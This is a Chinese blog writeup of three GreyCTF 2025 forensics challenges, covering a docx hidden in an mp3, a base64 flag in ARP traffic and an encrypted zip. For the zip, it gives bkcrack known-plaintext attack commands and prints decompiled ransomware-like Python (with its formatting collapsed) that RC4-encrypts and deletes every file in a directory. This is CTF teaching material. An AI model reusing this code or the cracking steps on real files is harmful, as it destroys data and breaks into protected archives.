当前位置: 首页 > ai >正文

Greyctf 2025 writeup

Greyctf 2025 writeup

  • 赛事信息
    • Layer Cake
    • Connection Issues
    • Notsus.Exe(复现)

赛事信息

  • 赛事描述:https://ctftime.org/event/2765
  • 赛事网址:https://ctfd.nusgreyhats.org/challenges
  • 排名:x

Layer Cake

题目描述:Layer cake is so good. I have an mp3 file all about layer cake. Maybe you can find the flag there?

通过code打开文件头的时候,并不是mp3的文件头,这很正常,看到docx关键字符,便解压这个文件
隐写

然后在这个目录下进行压缩zip文件,才能改后缀docx,用word来打开

在这里插入图片描述
打开后在这里找了很久,没有找到,思路是调整页面颜色、字体颜色、页眉页脚、作者信息、宏、检查文档等
在这里插入图片描述
回到解压出来的文档,搜索大括号,出flag
在这里插入图片描述
flag:grey{s0_f3w_lay3r5_w00p5}

Connection Issues

题目描述:One of our employees was browsing the web when he suddenly lost connection! Can you help him figure out why?

打开压缩包,过滤arp协议,找到可疑字符串Z3JleXtk
da
得到flag特征,那么可确定的我们思路已对,接下来就是提取这段完整base64字符串即可
在这里插入图片描述
一个快速不用写代码提取的方式如下,选中该16进制字符串,然后应用为列,这样在上边展示的部分,就可以直接复制导csv,在进行处理,很方便
在这里插入图片描述
在这里插入图片描述
getflag如下:grey{d1d_1_jus7_ge7_p01son3d}
在这里插入图片描述
flag:grey{d1d_1_jus7_ge7_p01son3d}

Notsus.Exe(复现)

题目描述:<Insert Guessy forensics challenge description here>

附件给了一个加密的压缩包,第一想到爆破,未果,然后再用7-zip打开压缩包,发现该算法容易遭受明文攻击,我们在之前的一次ctf比赛的文章中分析过
在这里插入图片描述
接下来就是寻找已知明文的过程,yorm不知道什么文件,但是exe应该有很多类似的。我在电脑中随便打开了一个exe,对比了一下16进制,发现前几位是相同的(明文攻击要至少知道12位字节才容易爆破)
明文如下:4d5a90000300000004000000ffff0000
在这里插入图片描述
我们将其随便保存为一个文件,比如命名为aaa.txt
在这里插入图片描述

然后用命令开始明文攻击.\bkcrack.exe -C .\files.zip -c aaaac.wav -p aaa.txt破解出密钥d1608c35 d11d350a 4bc3da9c
在这里插入图片描述
然后破解压缩包的密码,将压缩包的密码去掉
.\bkcrack.exe -C .\files.zip -k d1608c35 d11d350a 4bc3da9c -D "new.zip"
解压出来后,打开查壳工具发现这个exe文件,是用pyinstaller打包的,所以我们要去除它
在这里插入图片描述
在这里PyInstaller Extractor WEB🌐,去除后,找到notsus.pyc文件,上传到这个网站https://pylingual.io/进行反编译,拿到源码如下

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: notsus.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)import os
import sys
from itertools import cycledef a(b, c):if len(b) < len(c):b, c = (c, b)return bytes((a ^ b for a, b in zip(b, cycle(c))))def b(a, c):d = list(range(256))e = 0for f in range(256):e = (e + d[f] + a[f % len(a)]) % 256d[f], d[e] = (d[e], d[f])f = e = 0g = bytearray()for h in c:f = (f + 1) % 256e = (e + d[f]) % 256d[f], d[e] = (d[e], d[f])k = d[(d[f] + d[e]) % 256]g.append(h ^ k)return bytes(g)def c(a):b = []for c, d, e in os.walk(a):for f in e:b.append(os.path.join(c, f))return b
d = b'HACKED!'
e = os.path.basename(sys.executable)
for f in c('.'):if e in f:continuewith open(f, 'rb') as g:asdf = g.read()with open(f'{f}.yorm', 'wb') as g:g.write(b(d, asdf))os.remove(f)

然后给gpt写一个解密脚本,发现是RC4,那么不用脚本了,直接工具,密钥HACKED!
在这里插入图片描述

在这里插入图片描述
flag:grey{this_program_cannot_be_run_in_dos_mode_hehe}

http://www.xdnf.cn/news/10658.html

相关文章:

  • 【JAVA】注解+元注解+自定义注解(万字详解)
  • 【位运算】只出现⼀次的数字 II(medium)
  • 1. 前言与安装pytorch、d2l
  • 【Java学习笔记】异常
  • Chapter 10 Inductive DC–DC Converters
  • MCP (模型上下文协议):AI界的“USB-C”标准,开启大模型应用新纪元
  • C语言基础(10)【二维数组 字符数组 字符串相关操作】
  • 代码随想录算法训练营第十一天 | 150. 逆波兰表达式求值、239. 滑动窗口最大值、347.前 K 个高频元素、栈与队列总结
  • 光伏功率预测 | LSTM多变量单步光伏功率预测(Matlab完整源码和数据)
  • 用“照片放大/缩小”来通俗理解多尺度
  • QT入门学习(二)---继承关系、访问控制和变量定义
  • Dockerfile常用指令介绍
  • 【Redis】Set 集合
  • Python列表、字典、元组、集合
  • 推荐一款使用html开发桌面应用的工具——mixone
  • 39. 组合总和【 力扣(LeetCode) 】
  • 从万物互联到万体智联:论智能体互联网带来的产业革命
  • 可视化大屏如何制作
  • SQL快速入门【转自牛客网】
  • 强人工智能 vs 弱人工智能:本质区别与未来展望
  • CppCon 2014 学习:Defensive Programming Done Right.
  • 嵌入式Linux 期末复习指南(下)
  • Java递归编程中的StackOverflowError问题分析与解决方案
  • 软件测评师教程 第9章 基于质量特性的测试与评价 笔记
  • 新版智慧社区(小区)智能化弱电系统解决方案
  • 记录一次由打扑克牌测试国内各家大模型的经历
  • 序列搜索策略
  • 探秘 Minimax:AI 领域的创新先锋
  • CangjieMagic 智能体框架嵌入式系统实测:以树莓派 4B 为例
  • 【Redis技术进阶之路】「系统架构系列中篇」高可用之Master-Slave主从架构的复制问题(分析旧版点制功能)